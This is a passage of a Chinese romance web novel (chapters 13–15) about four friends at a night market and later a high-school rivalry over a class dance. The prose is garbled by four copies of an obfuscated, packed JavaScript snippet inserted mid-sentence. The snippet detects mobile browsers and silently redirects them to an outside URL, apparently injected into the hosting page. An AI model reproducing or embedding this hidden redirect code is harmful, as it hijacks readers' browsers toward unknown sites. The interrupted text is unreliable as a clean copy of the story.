宋玉津提醒她:“我们开到海塘镇还要一个小时。” 邵允承道:“也差不多是晚饭时间了。” 乔迦茵本来垂着眼睛玩手机,一副兴致缺缺的样子,那两人说完话后,忽然转变了主意。 “我陪你上去。”她对盛霏说。 宋玉津神色一凝。 盛霏惊喜道:“真的?” 乔迦茵淡淡嗯了一声,自顾自下车了,站在外面等着:“走,我们快去快回。” 盛霏揣起相机,蹦蹦跳跳地跟着跑了,临走前还不忘记叮嘱车内两名男性:“好好待着别乱跑啊,注意安全!” 两扇车门关上声接连响起。 车内霎时静默。 邵允承隐约意识到不太对,“我们是不是应该跟着去看看?只让她们两个去没事吗?” “她们没事的,这景区很小很安全。”宋玉津说,“你不要说话了,我现在很忧郁。” 邵允承:“……” 他没懂宋玉津在忧郁什么,不过转念一想,女朋友跟另一个女孩子跑了,忧郁也是非常正常。 * 女孩子们在半个小时后回到车里。 夜间风凉,两个人靠在一起走回来的,脸上倒是神采奕奕。 “拍了几张蓝调,你看看。”盛霏从车窗递相机给宋玉津展示,手指点按着划拉一张张相片,“给迦茵来了几张,是不是很完美。” “暗了点。”宋玉津说,“这张比较好看。” 盛霏抬头对上了副驾驶的乔迦茵喊:“我就说这张扎头发的好看!” “直男审美。”乔迦茵嗤之以鼻。 盛霏往后翻:“这几张是迦茵给我拍的。” 宋玉津说:“这个侧脸取得很好啊。” 盛霏毫不谦虚地说:“没错,露出了我挺翘的鼻梁和完美的下颌线。” “适合做头像。”宋玉津捧场道,“是你近期最佳照片。” “最佳照片永远是下一张。”盛霏收起相机,站在驾驶座外侧没动。 宋玉津莫名地看着她:“怎么了?” “什么怎么了?”盛霏语气更加莫名其妙,“你给我下来,我睡醒了,该我开车了。” * 盛霏和乔迦茵在前座,点歌掌控权被移交到乔迦茵手里,她唰唰点了几首邵允承闻所未闻的外语歌曲,结果盛霏和乔迦茵都哼唱得很起劲。 随后邵允承震惊地发现,到了副歌部分,连宋玉津也跟着来了两句。 他说:“哥,你也听过啊?” 这话被乔迦茵听到了,她坐在邵允承前面笑了一声,说:“他怎么可能没听过,他以前是行星饭。” 宋玉津无语道:“我不是。” 盛霏倒吸一口冷气,说:“我记得你还是四叶草!” 宋玉津心如死灰:“我不是。” 邵允承震撼地凑近过去,问:“真的假的?”这两个名词他还是知道的。 宋玉津难得动手,一把将他的脑袋推回去。 他澄清:“我只是年纪小的时候曲库比较广泛。” 没人理他,乔迦茵说:“下一首放你最喜欢的。” 盛霏兴高采烈:“《从前有个魔仙堡》!” 宋玉津放弃挣扎了:“放吧放吧,我最爱听魔仙堡。” 邵允承的眼睛都瞪圆了,望向他的目光变得极其敬畏,且充满探究。 ……他不会是真信了吧,盛霏染上乔迦茵信口胡诌的陋习后,两个人叠加的破坏性也太强了。宋玉津无言地想,缓缓伸手扶住了额头。 * 海塘镇以古镇风貌和琳琅夜市出名,到了晚间依然灯火通明。四人先到民宿放下行李停了车,随后步行前往夜市。 中秋刚过不久,节庆的布置尚未清理,满街都是大大小小的圆润灯笼,照得主街一片温暖的淡黄色调。 入口处就是几家知名连锁奶茶店,无一不是大排长龙,一行人在盛霏的招呼下去买一款本地限定果茶,乔迦茵定睛一看,发现配料里含芭乐,她喝不了,换了柠檬茶。 下了单后小程序显示仍需等待二十分钟,几人索性先去逛其他地方,只有乔迦茵拿着冷门而好做的柠檬茶。 沿街卖灯笼的年轻姑娘像NPC,反反复复念同一句话。 “小哥哥,给女朋友买个花灯吧。” “小哥哥,给女朋友买个花灯吧。” “小哥哥们,给……诶?” 像磁带卡带了一秒,NPC瞥见步速较快走在前头的盛霏和乔迦茵,立即续上了思路,“给两位小姐姐买个花灯吧。” 隔着不远不近的距离,没法确认是不是男女朋友,但又明显是一伙儿的。 总不能是……反正这样说也不会有错。 看来叫卖的词得与时俱进了啊。她拿着花灯想。 “不用了,谢谢。”宋玉津礼貌道。 女生身形灵活,逛街时又是眼观六路耳听八方,走得比他们两个快得多,他和邵允承加快脚步才赶上她们。 盛霏和乔迦茵往路边让了让等他们过来,与此同时,在NPC那句话的启发下,不约而同露出了若有所思的神情。 ——好像忘了演情侣了。 于是等两名男士忙不迭追来她们身边时,她们各自做出了行动。 盛霏说:“宋玉津,我走不动了,你过来扶我一把。” 宋玉津:? 是说扶老奶奶过马路那种扶吗? 他走过去,调整了一下角度准备搀她,被盛霏一下抓住手,后者咬牙切齿地在他耳边说:“牵手,牵手啊。” 宋玉津嘶了一声:“你的手也太冰了。” “噢,刚刚帮迦茵拿了一会儿柠檬茶。” 与此同时,乔迦茵不容置疑地将柠檬茶递过去,吸管对准邵允承的脸:“渴了吧?你喝一口。” 邵允承一愣:“啊?” “少废话,走这么多路你难道不渴吗?”乔迦茵眼睛一瞪,“快点喝。” 邵允承吓了一跳,几乎是求生一样地猛喝起来。 乔迦茵沉默半晌,幽幽道:“……你是要把我的茶喝完吗。” 没想到这个人真有这么渴。 邵允承模糊地“嗯?”一声,要说什么,却因为灌了太多冰水,一时呛到,掩住嘴猛咳起来。 乔迦茵像闪电一样地后退,又察觉这么做欠缺身为女友的人性,从外套里摸出纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738547|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾帮他意思意思地揩了揩。 邵允承也没想到这一出,脸上泛红,真诚地低头道歉:“对不起啊,对不起,有没有弄到你衣服上?” 乔迦茵摇了摇头。 面目深邃却气质天真的青年挠了挠后脑,眼睛还因为咳嗽而泛着水光,有点茫然无措的表情像不小心惹祸的拉布拉多,向她连连鞠躬:“真的不好意思。” “没事。”乔迦茵抿嘴笑了一下,“你这么客气还怎么演?过来站我边上。” 穿街绕巷尝了许多小吃后,他们在夜市尽头发现一家小酒馆。 清吧,闹中取静,酒名起得漂亮,大多是小甜水。 盛霏把早先说过要问汪斐的事情的话忘到九霄云外,喝两杯就昏了头,大谈特谈她自己从小到大的光辉经历,从小时候做画报被老师表扬到高考英语省前五十,快要把家底都抖落干净,可惜话说得颠三倒四,没人在听。 乔迦茵被酒意熏得头晕,撑着脑袋敷衍着附和她,手肘顶了顶身旁的邵允承:“你去隔壁便利店买瓶可乐来。” “好,你要可口还是百事?” “哪个都行。” 邵允承静悄悄地离开,而盛霏抬起手,直直指向乔迦茵面前的杯子:“乔迦茵!” 乔迦茵:“……到?” “你为什么不喝!”盛霏怒目而视。 “我喝,我喝。”醉态的盛霏太具威严,乔迦茵赶紧拿起杯子。 盛霏指着她旁边那杯:“这杯也喝了!” “这是邵允承的。”乔迦茵提醒她。 盛霏动作凝固,思考片刻后,说:“那你喝宋玉津的。” 她身边抱着双臂乐得看戏的宋玉津猛然被cue,赶紧维护自己的酒杯:“我要喝的啊。” “你根本没喝。”盛霏说,“这么满。” 她目光是散的,根本看不清楚,宋玉津这杯酒明明都已经不到一半了。 看戏的人换了一位,乔迦茵半阖着眼睛吹了声口哨,说:“就是,这么满。” 宋玉津瞥了她一眼,没作声,仰头将酒杯喝空了。 盛霏立即小学生式鼓掌,手背绷得笔直,掌声细密。 鼓着鼓着,脑袋一歪,趴桌上了。 乔迦茵凑过去看了看,确认她只是睡着,和宋玉津对视一眼,低头点开手机。 一声轻响,空酒杯搁在她手指前方的桌上。 宋玉津也稍稍伏在桌上,头靠在手臂上,视线自下而上地看她,像探究。 乔迦茵视线一抬就对上他半醉的眼睛,像蒙了一层脆弱的雾,一眨眼就会有水汽消散。 “怎么了。”她怕吵醒盛霏,放低声音。 宋玉津突如其来地问:“我现在在你这里是反派角色?” 乔迦茵脑袋一空:“啊?” 哪个星球的脑电波? 她跟上他思路后反问:“你哪天不是?” “本来就不是,冤得六月飞雪。”宋玉津垂下脑袋,近乎嘟囔道。他后脑有一撮头发是翘起来的,在其他柔软服帖的同类中鹤立鸡群。 乔迦茵盯着那撮异类看了一会儿,突然笑了一下,凑近过去,对着他的头顶说话:“你这是酒后吐真言?平时白天装得有多大度呢,结果心里不还是在斤斤计较,开你几句玩笑怎么了,本来我们就不是什么感情深厚的老同学啊。” 她酒精上脑,凭着感觉想到什么说什么,噼里啪啦讲完自觉吐出一口恶气。 结果等半天,敌人安心做缩头乌龟,一言不发。乔迦茵很快失去兴趣,直起身坐回去。 就在那时,宋玉津的头顶说话了,声音闷闷的。 “你说的那些我本来就无所谓。”他说,“我是在想,你为什么一直……不开心。” 乔迦茵一怔。 13. 第 13 章 宋玉津还是窝在手臂里没抬头,乔迦茵望着他,脸上逐渐浮现出一些类似困惑的情绪,目光渐远。 光影刹那间剧烈摇晃,像水波受到振荡。 玻璃门在惯性下重重合上,邵允承递过来一瓶饮料,大大咧咧道:“你的可乐来了。” 他没控制音量,乔迦茵和宋玉津同时抬头竖起食指让他噤声,但还是晚了一步。 盛霏鲤鱼打挺般地起身:“酒!我要再来一杯!我就是全场最强的人,谁敢挑战?” 她晃晃悠悠地站起来拿手机扫码点单,半天对不准桌上的二维码。 乔迦茵火速把盛霏的空酒杯取过来,动作利落地拧开可乐就往里灌,满上后拉住盛霏,递到她面前:“你新点的酒来了。” “啊?可我好像还没点啊……”盛霏欣喜地接了过去,杯中的可乐甚至还在滚着气泡,“这个效率也太高了,干杯!” 另外三人赶紧配合她举杯,玻璃碰撞到一起,溅出琥珀色的水花。 * 乔迦茵将吸管猛地扎进奶茶塑封,动作精准。 宋玉津进教室一眼望见,控诉:“点奶茶不叫我。” “我们寝室一起点的。”乔迦茵没好气地解释,手上哗哗翻习题卷,低头做题,随口问,“午休时间还来教室啊?” “学生会开会。”宋玉津说,“开完会就这个点,懒得回寝室了。” 男生探头看她在写的题:“不午休啊,偷偷努力。” 物理竞赛题,明雅不太重视竞赛培养,不开设专门的物竞班,只是默许老师们私下里在学校作为课外补充进行竞赛教学。先前物理老师课上提到过,感兴趣的同学可以去办公室自取题目来做,她随时开放交流。 “努力不了一点。”乔迦茵草稿打着打着把笔放下了,卷子竖起来,人往后靠,给他展示,“你做下这题。” 宋玉津一开始还坐在原位只是抻着脖子去看,过一会儿伸手将卷子拿过来了,演算几步后,写了个式子给她。 “不可能。”乔迦茵断言,“你这绝对是错的,比我那个答案还离谱。” “你算出来多少?” “一个巨长无比的分式。”乔迦茵把草稿纸圈出一块。 宋玉津眯眼看了一会儿,问:“你有答案吗?” “有就不会问你了。”乔迦茵说,“我想搜一下,但手机没电了,昨晚忘记充。” “我带了。”男生摸出手机拍照搜题,午休时间教室没开灯,拍出来全是自己投下的暗影,于是站起身找角度,对着光来了一张。 乔迦茵看他动作忙碌,忍不住提醒一句:“你小心点,这么公然用手机。” “现在不是午休么。”宋玉津没在意,专心研读网络上的解题步骤,“你做错了!不过我也没对,正确答案是……这分式和你那个有点像啊,分母不太一样,你来看看。” 过道那一侧的窗外,有一道女声凛然响起:“那我来看看呢?” “谁啊?”宋玉津回过头。 和过道里的年级主任四目相对。 乔迦茵:“……” 她方才就看到她了,倒是想给宋玉津提醒,但年级主任眼风悠悠一扫,还在她桌角的奶茶上停了一停,乔迦茵一时也不敢说什么。 咚咚,年级主任敲了两下窗户:“宋玉津,出来吧。” * 五分钟后,宋玉津惆怅地回到了教室。 乔迦茵小声问:“收走了?” 宋玉津说:“收走了。” 校规禁止点外卖,禁止在教学区域用手机,判定方式是眼见为实。 平时直接见证学生拿外卖的机会少,当场抓获玩手机的概率大得多,年级主任的抽屉里全都是学生手机。 “……”乔迦茵沉默。 换做平时她不会多么上心,三天两头就有同学被没收手机。 不过这次有一半原因在她这里,导致她也生出几分愧疚心,语气都难得轻柔起来。 尽管她一早提醒过:“都叫你不要那么招摇了。” 宋玉津伤感地说:“午休又不教学,我以为这个时间的教学楼不算教学区域。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738548|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乔迦茵很努力地将“你猜猜它为什么叫教学楼”咽回肚子里。 “你有急事要用手机吗?我的可以借你。”乔迦茵难得地表达出善意,“不过得等我充上电。” “没,能有什么事。本来文艺部这周要收集各班级文艺委员的名字和联系方式,现在没手机,刚好把活推给别人做。” 女生的草稿纸还留在他桌上,宋玉津提笔唰唰把记忆里的答题步骤和答案简单写下来,递回去。 乔迦茵接过草稿纸,讷讷道了声谢。 刚失去手机的人情绪反而调节得很快:“充电宝我带了,借你。” “你装备带得真齐全,可惜用不上了。” “你的爱好是地狱笑话吗?”宋玉津真诚地问。 玩笑归玩笑,到了晚自习前,宋玉津去了楼上一趟,似乎和文艺部另一名干事谈判失败,还是不得不保留了原先的任务,以纸笔书写这一古朴方式走遍各班,将文艺委员全部记录在案。 他长相惹眼,在年级里又出名,朋友也多,这么一走动,每到一个班就有认识或者不认识的人上来闲聊。本来一刻钟能结束的事情拖了两倍长的时间。 饮水机在每层走廊尽头,晚自习开始后,乔迦茵出教室倒水,就望见宋玉津在隔壁班门口和两个女生说话,脸上带着温和笑意。 经过他们时宋玉津瞥见她了,转过脸来想打招呼,乔迦茵一开始没理,没想到他直接连名带姓喊了她一声。 这下装听不见太刻意,她停住脚步,问:“怎么了,你不是在和朋友聊天吗?” “哈?不是啊,刚认识的,三班文艺委员和她朋友。”宋玉津说,“晚点手机能借我一下吗?我打个电话。” 乔迦茵望了一眼他手上摊开的线圈本,一页里全是文艺委员姓名电话□□号:“要给哪个打电话啊?” 宋玉津莫名其妙道:“给我妈。通知她一声我要失联一段时间。” “……”乔迦茵转头就走。 宋玉津还在后面不厌其烦地追问:“你答应了没啊!性命攸关!” 14. 第 14 章 乔迦茵不顾身后像尾巴一样追过来的男生,捧着水杯回了教室,到自己座位坐下。 要喝水时才发现刚刚灌的水太烫,入不了口,只能开着盖子晾在那里等。 水面轻微地晃动,眼前的书页笼上一层暗影。 她抬起头,宋玉津将几近写满的那一页递过来。 乔迦茵疑惑道:“什么?” “姓名电话□□号。”宋玉津说,“还没记你的。” 乔迦茵和他大眼瞪小眼对视了半分钟,才终于想起来一件事。 他们班的文艺委员现在是她。 “现在是”的意思是,原本并不是。 军训期间每个班要出一个节目用于文艺汇演,那时有几个比较活跃的女生自告奋勇报名,一起出了个朗诵加合唱的小节目,汇演过后,其中领头的那一位自然而然地被大家全票通过地当选文艺委员。 但就在前两周,那名女生以个人原因为由办理了休学,据说是要去海外公司做练习生。 乔迦茵被闫倩钦点为新晋文艺委员,理由无比荒唐,因为她学号刚好排在休学女生的后面。 其实她大概猜得到闫倩的心思。 先前组织汇演节目的另外几个女生,并不是能力不出众还是怎样,单纯是因为月考成绩处于班级后列,闫倩不希望让她们来做班干部,所以以一个荒谬到有些无厘头的借口把乔迦茵钦定下来。 和上次让宋玉津进学生会一样,闫倩也是在班会课上轻飘飘地提了这么一句,问“大家有什么意见吗”,底下鸦雀无声,事情就这么拍板。 沉默并不代表没有异议,闫倩身为早于他们步入社会的成年人合该更懂这个道理。 但她显然认为这是更加省时省力的方式。 乔迦茵不想当这个文艺委员,名不正言不顺,跟闫倩婉言提过一次。 闫倩语气轻松道:“哎呀,你别把这个事情想得很难,大家都是同学,到了需要办活动的时候都会帮你的!而且做文艺委员,就不用亲身上阵表演节目了,不是很好吗?” 她说话间时常带着嬉笑,有一种故作活泼的意态,想要成为那种能和学生打成一片,备受欢迎的老师。 其实这招在一些比较单纯的学生身上往往奏效,他们会真的去和闫倩掏心掏肺倾诉琐碎烦恼,但乔迦茵不在其列。 乔迦茵只觉得闫倩难以沟通,故而放弃了说通她的打算。 “我没打算做下去,会找机会向闫倩辞职的。”女生抬起头,表情冷静地对宋玉津说。 “为什么?” 胜之不武,真要办事的时候无法服众。那些之前组织汇演节目的女生看上去偃旗息鼓,其实对这个决定很有几分不满,她感觉得出来。女生之间的纠葛,对着宋玉津,乔迦茵不愿意解释:“不想就是不想,又不是我主动要做的。” 宋玉津看了她一会儿,从她笔袋里摸了支笔,刷刷写了几个字,将本子那一页推到她面前。 乔迦茵简直无语,他根本没听她的,直接把她大名写上去了。 “反正现在还是你没错吧?”他说,“循例办事,本就该写你。” “你在文艺部工作,写你自己得了。” 本来文艺部收集这个就是便于有活动时通知各班,传达要求。 站在她桌前的男生登时展眉笑了。 “我有什么联系方式?联系年级主任吗?” 乔迦茵:“……” 她认命地提笔,在自己名字后面留了数字。 宋玉津的字很好看,临过帖,走之底本身不好写,他写得潇洒秀丽。“乔”字右上方的捺落得遒劲,比左侧的撇长出一段,下方也是右侧的竖稳稳地越过横线,清晰收笔。 乔迦茵写号码时不由得多看了两眼,写到最后一位数时垂下眼收敛了视线,本子递回给他。 宋玉津收回线圈本,还没走,在她桌前问另一件事:“可以把手机借给我打电话吗?刚才在走廊里跟你说,你不睬我。” 乔迦茵摆架子了:“有没有点诚意。” “请你喝奶茶。” “……你怎么请。”她忍不住吐槽。 宋玉津也是懵了一会儿,说:“那你再把手机借我登一下支付宝?” 还能怎么办,乔迦茵说:“你随便用吧,别把我手机整去年级主任那里就行。” 当晚,宋玉津就用乔迦茵的手机把自己的支付宝重新捆绑了上去,扫证件扫银行卡又扫脸的,捣鼓了一整节晚自习。 乔迦茵在前面写作业,时不时分神去偷警后座,看他有没有用手机用得太明显。好在这晚年级主任似乎不在,闫倩倒是来了几趟,对宋玉津用手机的行为视而不见——闫倩眼里,成绩好的学生犯点小错无伤大雅,只是点了点他的桌子算作提醒, 宋玉津乖巧地将乔迦茵的手机塞进桌肚深处,等闫倩走后抽出来继续验证。 等他出去打完电话,乔迦茵拿回手机一看:“好嘛,淘宝也给你绑上了。” “因为和支付宝关联的。”宋玉津贴心道,“你切换账号就可以了。” “怎么外卖软件也变成你的账号了。” “你用黄的我用蓝的,可以吗?” 乔迦茵:“不可以,要是有的店只在一家平台上呢?” “用我账号点,算我请你的。” 这么算算是她赚了,乔迦茵心情由阴转晴:“那我干脆只用蓝的点了。” 她答应得爽快,后来才意识到这一操作潜藏的问题。 校规禁止拿外卖,明雅中学的学生点外卖都选择在侧门偷偷取,需要外卖员从栏杆中或者铁门上方越过尖顶栅栏传外卖进来,险之又险,非当面交收不可。宋玉津一旦点了外卖,电话打到她手机,还得她和宋玉津一起去取。一来二去,为了省事,索性每次外卖都和他一起点了。 拜学校附近琳琅满目的餐饮外卖所赐,宋玉津在那段时间摸清了乔迦茵的全部过敏原。 起初乔迦茵觉得烦,后来逐渐发现,拿外卖在操场司令台或者体育馆外面的长椅上吃,不像食堂那么吵闹拥挤,正合她的意,逐渐习惯了这种午餐方式。尽管宋玉津顾忌着惹她不快,不至于每天都点,其实她对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738549|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么意见,巴不得顿顿避开人群吃。 这天宋玉津去找年级主任,乔迦茵独自取了外卖,坐在老地方等了一会儿,先自己打开吃了。 他回来时神色如常,乔迦茵看了他一眼,问:“手机拿回来了?”一般都是收一个月。 “没有。”宋玉津说,“说我表现不尽如人意。” “哈?” 宋玉津翻译:“期中考年级排名下降了十位。”期中考刚过去两周不到,全科分数和排名还没给到学生,不过年级主任把他的那一条数据单独筛选出来给他看了。 “班级排名呢?” “下降一位。” “噢。”乔迦茵低头吃饭,若无其事。 宋玉津觉得搞笑:“你装什么,我知道是你。” “空口白牙,你看到我几分了?” “不会有别的人。”他语气肯定。 她抬头瞄了他一眼。 乔迦茵考怎么样心里有数,大概率就是自己,但没想通:“如果我这次考了班排第一,昨天我跟闫倩说不想做文艺委员,她怎么不答应?” “说明你没考年级第一。”男生半开玩笑。 被瞪了一眼,他正经回答:“你当闫倩是AI,谁考第一听谁的?你看我什么时候指令过她了。她本质上就是对这些事情不在意,文艺表演、学校活动这些就算我们搞得一团糟,也不影响她的教学表现。” 他又补充一句:“何况现在要筹备集体舞,她肯定以为你嫌任务繁重,说气话。” 集体舞是明雅中学常规活动。期中考一结束,通知就发到了每个班的文艺委员处,要求每个班在下个月月末准备好节目,届时需要共同表演,评选出优胜者。 “就是因为集体舞,我才找她说的。”乔迦茵烦躁地说,“现在换人还来得及。” “你就这么不想干?”宋玉津奇了,“我去找年级主任时碰见闫倩,她还让我催你进度,问为什么编舞到现在没编完。” "她早上已经问过我一遍了。" 闫倩不在乎文体活动成绩,却又有攀比心,和其他几个班主任聊起集体舞进度,发觉自己班似乎是全年级最慢的,不由得焦虑发作,见人就催。 宋玉津温声问:“所以出了什么情况?我记得编舞是找了会跳舞的女生负责的。” “薛卓然她们几个。”乔迦茵说。 宋玉津噢了一声,等她下文。 随后乔迦茵就没说话了,沉默一会儿,睁大双眼:“你没懂吗?” 宋玉津茫然道:“我在等你说啊。” 人怎么笨到这种地步,乔迦茵无语道:“她们不想编。” “怎么会?之前班会课讨论的时候她们蛮积极的啊。”宋玉津思考了一会儿,道,“是风格的问题?我看其他班大多数是美式歌舞剧那种风格,要么就是圆舞曲,只有我们班选了探戈,会不会编舞比较有难度?可能她们更擅长其他的舞种。” 上周五是选曲截止期限,乔迦茵传的音乐。 她放下筷子,似笑非笑道:“薛卓然跟你这么说的?” 15. 第 15 章 宋玉津直觉到乔迦茵情绪变化,缓和语气问她:“发生什么了吗?” 他人缘好得很,和谁都能聊几句,尤其那些性格活泼的女生,时不时就来教室后方找他说话。乔迦茵看见过薛卓然和他交谈,知道他们关系也不错。 她觉得没了吃饭的兴致,一边合上外卖盒低头收拾垃圾,一边语气平淡道:“你以为选曲是我自说自话定的?我在女寝走廊里听到她们讨论说想要有点成熟的、可以穿大裙子跳的风格,所以和她讨论的时候主动提的,她也同意了。” 此前薛卓然向他模模糊糊地提了一嘴,宋玉津没想到事实如此,意外地扬了眉,犹豫着要不要向她道歉,被她先发制人地打断。 “不想显得我在别人面前搬弄是非,这件事我自己和薛卓然谈。”女生将外卖塑料袋打结扣紧,起身道,“集体舞你别插手了。” 宋玉津愣愣地看她走到几步开外将垃圾扔了,丝毫没有等他的意思,抬脚就往教学楼走,脸色猛地一变。 他怎么就成“别人”了! 薛卓然和前文艺委员一个寝室的,关系很好。军训汇演的那几个女生,排练期间建立起的友谊,开学后自然结成紧密的小团体,平时做什么都在一起。 乔迦茵脸臭嘴巴毒,平时习惯独来独往,偶尔和温见竹一起,人缘实在算不上好;更重要的是,当初军训汇演一点没参与,彻头彻尾的空降兵,从闫倩自说自话宣布她为新任文艺委员时,就察觉到那些女生的不满。只是她们也不敢公然和班主任叫板,这怒火自然而然地转移到乔迦茵身上。 集体舞通知下来之后,班会课闫倩和其他同学都在,她们表现得格外卖力,积极出点子提建议;等接下编舞的任务之后,私下里就开始故意磨洋工,想等着看乔迦茵被责难。 坦白说,薛卓然没打算让乔迦茵太难堪,只是心里又的确不服气她,打算拖两周再把编舞完成,稍微刁难一下她,但不会把事情做绝。 偏偏傍晚时分,晚自习开始之前,闫倩把薛卓然叫了出来,在楼道里向她问话。 闫倩问:“薛卓然,集体舞的编舞是你在负责对吗?” “是啊。”薛卓然笑眯眯地说。 薛卓然一直觉得闫倩人不错,年轻老师,和同学说话时不会摆师长架子,还常开些玩笑,应该是个好说话的班主任。她隐约有一点期待,以为闫倩总算是注意到了她的贡献。 谁知道闫倩突然绷紧了脸,眼神没什么温度地看着她:“我听说你一直没编好,是有什么问题?你对乔迦茵有什么不满吗?有的话,你可以直接跟老师说,不该像现在这样拖慢全班人的进度。” “啊?我没有……” “就算你们之间有什么恩怨,集体舞是班级共同的任务,你能不能不要太自私了。” 薛卓然茫然地张了张口,不知道从何辩解。 闫倩又重重叹了口气,指责道:“你这样让老师很难办,知道吗?我本来就不希望班级里出现矛盾,你心里有什么想法,也可以直接对我说出来。” 薛卓然怔了半晌,赶紧道:“我没什么想法啊?这个舞,这个舞我这周末就能编完了……” 闫倩似乎不想听她解释:“那就好,下周我们班必须开始排练了。” 她说完,面上忽然又挂起一个很大的笑来,拍拍她的肩膀,用平时那种轻快的语气说了句“加油,老师相信你”,转身快步离开了。 薛卓然在原地打了个寒噤。 * 教室里人员密集,又关着门窗上了一整个白天的课,空气不流通。乔迦茵一到,就把她座位边的窗给打开了一点。 她身后的宋玉津也赶紧开了一点窗,配合她。 这个举动是示好的意思,但乔迦茵没懂,毫不在意地转回去写作业了。 宋玉津生了会儿闷气,还是选择原谅她。乔迦茵心理不正常,和她计较什么。 晚自习铃响,学生们三三两两地回到教室。乔迦茵感觉到有视线投向自己,本能地抬眼,望见薛卓然和她身边几个女伴。 她淡定地错开视线,继续做题,稍微琢磨了下什么时候去和薛卓然商量编舞。 现在肯定不行,课间只有十分钟,恐怕不太够,或者自习结束后…… 薛卓然往教室后方走,她座位也在后排,靠另一边窗户的那侧。 和身旁女生说着话,忽然抬高音量说了一句:“反正我觉得动不动向老师打小报告的人很恶心。” 这一句来得突兀,班里本就安静,大半同学闻言都看了过去。 她身边的朋友心领神会地附和道:“就是说呀。” 她们一边说着,一边默契地往乔迦茵这里看了一眼。 等乔迦茵回望过去时,又若无其事地在各自座位坐下看书了。四周开始涌起小范围的窃窃私语和心照不宣的目光相接,频频有人向乔迦茵这里看过来。 得了,今晚别商量了。乔迦茵将作业合上,起身就往外走。 她动作太快,宋玉津等她出了教室才反应过来,迅速打开窗户,探头对走道上的人说:“你干嘛去?” “晚上吃撑了,去操场跑步。” “噢。”宋玉津松了口气。他脑子聪明,薛卓然那么一句意有所指的话,他和乔迦茵同时猜到发生了什么。 还以为她要去办公室和闫倩干架,幸好幸好。 * 明雅中学女生寝室六人一间,每两间寝室公用中间的盥洗室。 温见竹进来的时候,乔迦茵穿着睡衣对着镜子在刷牙。 “门不用关了。”她咬着牙刷含糊不清地说,“天气潮,厕所一股味道,开着散散味。” “好。”温见竹停下关门的手,靠在门边问她,“薛卓然和你起什么冲突了吗?她今天突然那样。” 温见竹对学校集体事务一向漠不关心,即使身为乔迦茵的密友,对集体舞的所有了解也仅限于知道有这么个活动。 乔迦茵今天情绪不好,无缘无故飞来横锅,正在气头上,闻言吐出漱口水,道:“她就是蠢。本来以为她虽然成绩不怎么样,但脑子还算转得快的,没想到闫倩说什么信什么,蠢成这样。而且说好的编舞这么久都做不完,既然不想做就不要揽活啊,既蠢又没有责任感,没救了。” 温见竹从攻击中捕捉信息:“闫倩跟她说什么了?” “鬼知道。” 对话陷入短暂的凝滞,温见竹没说话,乔迦茵俯下身去洗脸,冷水往脸上扑。 走道里突然传来一声很重的关门声响,楼层都仿佛被震了一下。 温见竹侧身往外看了两眼,有点好笑地说:“薛卓然她们寝室刚才门没关。” 看来全被听到了。 乔迦茵取毛巾擦脸,沉默了一会儿:“……她骂我一次,我骂她一次,扯平了。” “你字数比她多多了,用词也直接。” “她口才不好怪谁。”乔迦茵从毛巾里抬起脸,“你向着哪边的?” * 和薛卓然的梁子算是彻底结下。 到了这一步,乔迦茵反而懒得去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738550|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她敞开心扉谈话了,料想对方也做不到对她和颜悦色。 在闫倩的施压下,薛卓然准时交了差,从下周开始冷着脸把完成的编舞教给全班。乔迦茵负责安排排练时间地点,召集所有同学,排队形等杂活。乔迦茵站在队伍外面,薛卓然教舞的时候,她也在学,时不时又要和薛卓然确认动作、商量队形调整。 薛卓然答得一板一眼,乔迦茵态度公事公办。 两人关系微妙,全班都看得出来。 第一次排练用的是午休时间,在艺术楼二楼的露台上。宋玉津去文艺部开会,来得比别人迟。等他到了,问自己应该站哪儿,乔迦茵才发现排队形的时候忘记把他算进去。 “那你跟我跳?”乔迦茵随口说,因为她站在外面排队形,也还没把自己排进去。 宋玉津欣然道:“好啊。” 薛卓然不乐意了,站在她旁边说:“我还缺个舞伴。” 乔迦茵问:“你不是领舞吗?” “领舞也得是两个人啊,这是双人舞。” 乔迦茵只思考了两秒钟。 